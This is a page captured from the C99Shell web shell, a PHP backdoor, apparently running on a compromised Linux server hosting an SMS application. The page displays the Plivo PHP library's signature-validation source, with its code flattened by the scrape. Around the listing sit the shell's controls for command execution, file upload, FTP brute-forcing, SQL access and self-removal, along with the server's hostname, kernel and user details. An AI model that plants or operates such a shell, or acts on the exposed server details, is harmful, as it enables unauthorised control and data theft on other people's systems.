!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/plivo/plivo-php/src/Plivo/Util/   drwxr-xr-x
Free 29.12 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     v3SignatureValidation.php (4.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php


namespace Plivo\Util;

use 
Plivo\Exceptions\PlivoValidationException;

class 
v3SignatureValidation
{

    private static function 
stringifyParams($params)
    {
        foreach (
$params as $key => $value)
        {
            
$params[$key] = strval($value);
        }
        return 
$params;
    }

    private static function 
getMapFromQuery($queryString)
    {
        
$queryMap = array();
        if (
$queryString == null) {
            return 
$queryMap;
        }
        
$queryArray explode("&"$queryString);
        foreach (
$queryArray as $param)
        {
            
$keyValue explode("="$param);
            
$key $keyValue[0];
            
$value $keyValue[1];
            if (
array_key_exists($key$queryMap))
            {
                
array_push($queryMap[$key], $value);
            }
            else
            {
                
$queryMap[$key] = array($value);
            }
        }
        return 
$queryMap;
    }

    private static function 
getSortedQueryString($queryMap)
    {
        
$queryString = array();
        
ksort($queryMapSORT_NATURAL);
        foreach (
$queryMap as $key => $value)
        {
            if (
gettype($value) === "array")
            {
                
sort($valueSORT_NATURAL);
                foreach (
$value as $val)
                {
                    
array_push($queryStringstrval($key)."=".strval($val));
                }
            }
            else
            {
                
array_push($queryStringstrval($key)."=".strval($value));
            }
        }
        return 
implode("&"$queryString);
    }

    private static function 
getSortedParamsString($params)
    {
        
$keys array_keys($params);
        
sort($keysSORT_NATURAL);
        
$paramsString = array();

        foreach (
$keys as $key)
        {
            
$value $params[$key];
            if (
gettype($value) === "array")
            {
                
$value sort($valueSORT_NATURAL);
                foreach (
$value as $val)
                {
                    
array_push($paramsStringstrval($key).strval($val));
                }
            }
            else
            {
                
array_push($paramsStringstrval($key).strval($value));
            }
        }
        return 
implode(""$paramsString);
    }

    private static function 
constructGetUrl($uri$params$emptyPostParams=true)
    {
        
$parsedURI parse_url($uri);
        
$baseURL $parsedURI['scheme'].'://'.$parsedURI['host'];
        if (isset(
$parsedURI['port'])) {
            
$baseURL .= ':'.$parsedURI['port'];
        }
        if (isset(
$parsedURI['path'])) {
            
$baseURL .= $parsedURI['path'];
        }
        if (isset(
$parsedURI['query'])) {
            
$queryString $parsedURI['query'];
            
$params array_merge_recursive($paramsself::getMapFromQuery($queryString));
        }
        
$queryParams self::getSortedQueryString($params);
        if (
strlen($queryParams) > or !$emptyPostParams)
        {
            
$baseURL .= '?'.$queryParams;
        }
        if (
strlen($queryParams) > and !$emptyPostParams)
        {
            
$baseURL .= '.';
        }
        return 
$baseURL;
    }

    private static function 
constructPostUrl($uri$params)
    {

        
$baseURL self::constructGetUrl($uri, array(),count($params) > false true);
        return 
$baseURL.self::getSortedParamsString($params);
    }

    private static function 
getSignatureV3($authToken$baseURL$nonce)
    {
        
$baseURL utf8_encode($baseURL.".".$nonce);
        
$hmac hash_hmac('SHA256'$baseURL$authTokentrue);
        return 
base64_encode($hmac);
    }

    
/**
     * Return a recording instance
     *
     * @param string $method
     * @param string $uri
     * @param string $nonce
     * @param string $auth_token
     * @param string $v3_signature
     * @param array $params
     * @return boolean
     * @throws PlivoValidationException
     */
    
public static function validateV3Signature($method$uri$nonce$auth_token$v3_signature$params=[])
    {
        
$auth_token utf8_encode($auth_token);
        
$nonce utf8_encode($nonce);
        
$v3_signature utf8_encode($v3_signature);
        
$uri utf8_encode($uri);
        
$params self::stringifyParams($params);
        if (
$method == 'GET')
        {
            
$base_url self::constructGetUrl($uri$params);
        }
        elseif (
$method == 'POST')
        {
            
$base_url self::constructPostUrl($uri$params);
        }
        else
        {
            throw new 
PlivoValidationException('method not allowed for signature validation');
        }
        
$signature self::getSignatureV3($auth_token$base_url$nonce);
        return 
in_array($signatureexplode(','$v3_signature));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--